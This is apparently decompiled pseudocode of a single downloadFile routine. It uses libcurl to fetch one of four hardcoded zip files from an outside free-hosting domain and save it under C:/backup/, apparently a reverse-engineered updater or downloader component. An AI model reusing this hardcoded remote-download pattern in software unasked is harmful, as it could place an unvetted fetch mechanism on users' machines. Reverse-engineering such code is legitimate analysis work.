char *__usercall downloadFile@(int a1@, int a2) { unsigned int v2; // ecx@5 char *v3; // ebx@5 unsigned int v4; // eax@5 int v5; // ebx@7 FILE *v6; // ST1C_4@8 char *result; // eax@11 int v8; // edx@14 char *v9; // [sp+2Ch] [bp-14Ch]@1 int v10; // [sp+30h] [bp-148h]@1 char v11; // [sp+34h] [bp-144h]@1 char *v12; // [sp+44h] [bp-134h]@1 unsigned int v13; // [sp+48h] [bp-130h]@1 char v14; // [sp+4Ch] [bp-12Ch]@1 char v15[284]; // [sp+5Ch] [bp-11Ch]@6 v9 = &v11; v10 = 0; v11 = 0; v12 = &v14; v13 = 0; v14 = 0; switch ( a2 ) { case 1: ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEjjPKcj( &v9, a1, 0, 0, "http://nieinteresujsie.cba.pl/backup0.zip"); ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEjjPKcj( &v12, v8, 0, v13, "C:/backup/b/backup0.zip"); break; case 2: ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEjjPKcj( &v9, a1, 0, 0, "http://nieinteresujsie.cba.pl/backupSqldrivers.zip"); ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEjjPKcj( &v12, v8, 0, v13, "C:/backup/b/sqldrivers/backupSqldrivers.zip"); break; case 3: ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEjjPKcj( &v9, a1, 0, 0, "http://nieinteresujsie.cba.pl/backupUpdate.zip"); ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEjjPKcj( &v12, v8, 0, v13, "C:/backup/b/update/update.zip"); break; case 4: ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEjjPKcj( &v9, a1, 0, 0, "http://nieinteresujsie.cba.pl/backupUpdatePlatforms.zip"); ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_replaceEjjPKcj( &v12, v8, 0, v13, "C:/backup/b/update/platforms/platforms.zip"); break; } v2 = v13; v3 = v12; v4 = 0; do { v15[v4] = v3[v4]; ++v4; } while ( v4 <= v2 ); v5 = curl_easy_init(); if ( v5 ) { v6 = fopen(v15, "wb"); curl_easy_setopt(v5, 10002, v9); curl_easy_setopt(v5, 20011, j_fwrite); curl_easy_setopt(v5, 10001, v6); curl_easy_perform(v5); curl_easy_cleanup(v5); fclose(v6); } if ( v12 != &v14 ) ZdlPv(v12); result = v9; if ( v9 != &v11 ) result = (char *)ZdlPv(v9); return result; }